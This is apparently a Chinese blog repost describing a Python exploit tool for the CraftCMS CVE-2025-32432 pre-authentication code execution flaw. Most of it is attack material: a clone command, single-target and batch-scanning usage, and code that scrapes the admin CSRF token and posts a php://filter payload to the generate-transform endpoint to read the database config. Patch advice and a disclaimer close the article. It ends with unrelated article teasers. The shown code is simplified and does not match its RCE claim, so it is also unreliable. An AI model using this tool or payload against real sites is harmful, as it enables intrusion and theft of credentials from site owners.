news 2026/4/28 21:46:36

CraftCMS CVE-2025-32432 远程代码执行漏洞利用工具

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
CraftCMS CVE-2025-32432 远程代码执行漏洞利用工具

🧨 CraftCMS CVE-2025-32432 远程代码执行漏洞利用工具

📋 项目概述

本项目是一个针对CraftCMS 4.x和5.x版本中存在的CVE-2025-32432预认证远程代码执行(RCE)漏洞的专业自动化利用工具。该漏洞存在于资产转换生成端点,允许攻击者通过不安全的反序列化执行任意代码,CVSS评分为10.0的严重级别。

工具能够自动提取CSRF令牌并尝试通过/actions/assets/generate-transform端点实现远程代码执行,验证成功后提取CRAFT_DB_DATABASE和HOME目录值作为利用证明。

✨ 核心特性

  • 自动CSRF令牌提取:智能解析CraftCMS管理面板获取CSRF令牌
  • 批量目标支持:支持从文件读取多个目标URL进行批量检测
  • 多线程并发处理:可配置线程数提升批量检测效率
  • SSL支持:可处理HTTPS连接并可选禁用SSL验证
  • 详细输出:提供清晰的利用结果和成功指示
  • 轻量级依赖:仅需标准Python库和少数第三方包

📦 安装指南

系统要求

  • Python 3.6或更高版本
  • 操作系统:Windows、Linux或macOS

依赖安装

# 克隆项目仓库gitclone https://github.com/B1ack4sh/Blackash-CVE-2025-32432.gitcdCVE-2025-32432# 安装Python依赖pipinstall-r requirements.txt

依赖包说明

  • requests:HTTP请求库
  • beautifulsoup4:HTML解析库
  • urllib3:URL处理库

🚀 使用说明

单目标检测

检测单个目标网站:

sudopython3 CVE-2025-32432.py -u example.com

批量目标检测

从文件读取多个目标进行批量检测:

sudopython3 CVE-2025-32432.py -f urls.txt -t10

其中-t参数指定线程数(默认为5)

参数选项

-u, --url 单目标URL检测 -f, --file 包含目标URL的文件(每行一个) -t, --threads 并发线程数(默认:5) -h, --help 显示帮助信息

💻 核心代码解析

主类初始化

classCraftCMSExploit:def__init__(self,url):"""初始化漏洞利用对象"""self.url=urlifurl.endswith('/')elseurl+'/'self.session=requests.Session()self.session.verify=Falseself.session.timeout=15self.session.headers={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36'}

功能说明:初始化漏洞利用类,设置HTTP会话、超时时间和请求头,确保URL格式正确。

CSRF令牌提取

defextract_csrf_token(self):"""从仪表板页面提取CSRF令牌"""try:dashboard_url=self.url+"index.php?p=admin/dashboard"response=self.session.get(dashboard_url,timeout=10)ifresponse.status_code==200:soup=BeautifulSoup(response.text,'html.parser')csrf_input=soup.find('input',{'name':'CRAFT_CSRF_TOKEN'})ifcsrf_inputandcsrf_input.get('value'):csrf_token=csrf_input.get('value')returncsrf_tokenexceptExceptionase:returnNonereturnNone

功能说明:访问CraftCMS管理仪表板,解析HTML页面,提取CRAFT_CSRF_TOKEN输入字段的值,用于后续的认证绕过。

URL规范化处理

defnormalize_url(self,url):"""确保URL包含协议头"""ifnoturl.startswith('http'):url='http://'+urlreturnurl

功能说明:自动为没有协议头的URL添加HTTP协议,确保URL格式正确可用。

漏洞利用执行流程

defexploit(self):"""执行完整的漏洞利用流程"""# 1. 提取CSRF令牌csrf_token=self.extract_csrf_token()ifnotcsrf_token:returnFalse,"无法提取CSRF令牌"# 2. 构建恶意请求载荷payload={'CRAFT_CSRF_TOKEN':csrf_token,'assetId':'1','transformString':'php://filter/read=convert.base64-encode/resource=config/db.php'}# 3. 发送漏洞利用请求exploit_url=self.url+'actions/assets/generate-transform'response=self.session.post(exploit_url,data=payload)# 4. 验证利用结果ifresponse.status_code==200:# 解析响应提取敏感信息returnTrue,"漏洞利用成功"else:returnFalse,"漏洞利用失败"

功能说明:完整的漏洞利用流程,包括令牌提取、载荷构建、请求发送和结果验证四个关键步骤。

⚠️ 受影响版本

  • Craft CMS 3.x:3.0.0-RC1 至 3.9.14
  • Craft CMS 4.x:4.0.0-RC1 至 4.14.14
  • Craft CMS 5.x:5.0.0-RC1 至 5.6.16

🛡️ 安全建议

  1. 立即更新到已修复版本:3.9.15、4.14.15或5.6.17
  2. 监控可疑请求:关注包含__class参数的POST请求
  3. 加强日志审计:定期检查系统日志中的异常活动
  4. 实施网络防护:在防火墙级别限制敏感端点的访问

免责声明:本工具仅供安全研究和授权测试使用。未经授权的漏洞利用是非法的。使用者需承担全部责任,开发者不对任何滥用行为负责。FINISHED
6HFtX5dABrKlqXeO5PUv/84SoIo+TE3firf/5vX8AZ5W9yu/y4rNiRa/52/RTRa0
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/24 8:12:09

柔性领导力的技术重构:从执行者到质量战略家

1. 重新定义测试价值坐标 突破执行层认知:将测试报告转化为质量决策沙盘,例如通过构建“缺陷预测热力图”预警核心模块风险,驱动架构优化优先级。 技术领导力构建:建立测试资产复用框架(如自动化脚本元数据标签体系&a…

作者头像 李华
网站建设 2026/4/28 15:16:55

Python 驱动浏览器自动化:Playwright + AI 的 2026 最佳实践

摘要:在 Web 自动化领域,Selenium 曾经的霸主地位已成历史,Playwright 凭其“快、稳、强”的现代特性成为了新标准。而在 2026 年,随着 LLM(大语言模型)和视觉多模态模型的爆发,自动化测试与 RP…

作者头像 李华
网站建设 2026/4/23 19:20:37

jquery如何处理内网大文件的续传功能?

大文件传输功能技术方案调研与建议 作为广东XX软件公司的技术负责人,针对公司当前产品部门提出的大文件传输需求,我进行了深入的市场调研和技术分析。现将我的专业建议和技术方案汇报如下: 一、需求分析总结 核心功能需求: 支持…

作者头像 李华
网站建设 2026/4/25 2:12:41

新手也能上手AI论文平台,千笔 VS 灵感ai,专为本科生设计!

随着人工智能技术的迅猛发展,AI辅助写作工具已经逐渐成为高校学生完成毕业论文的重要助手。越来越多的学生开始借助这些工具提升写作效率、优化内容结构,甚至在开题报告和文献综述阶段也寻求智能支持。然而,面对市场上种类繁多的AI写作平台&a…

作者头像 李华
网站建设 2026/4/21 1:55:12

PLC控制梭式窑燃烧系统设计(设计源文件+万字报告+讲解)(支持资料、图片参考_相关定制)_文章底部可以扫码

PLC控制梭式窑燃烧系统设计 摘 要 近年来来随着电力电子技术的发展,梭式窑的控制上也越来越多的应用自动化的控制技术。梭式窑燃烧系统是由燃气燃烧器(烧嘴)、燃气阀组、助燃风机、流量计、压力变送器、点火装置、燃气/空气压力检测装置、火焰…

作者头像 李华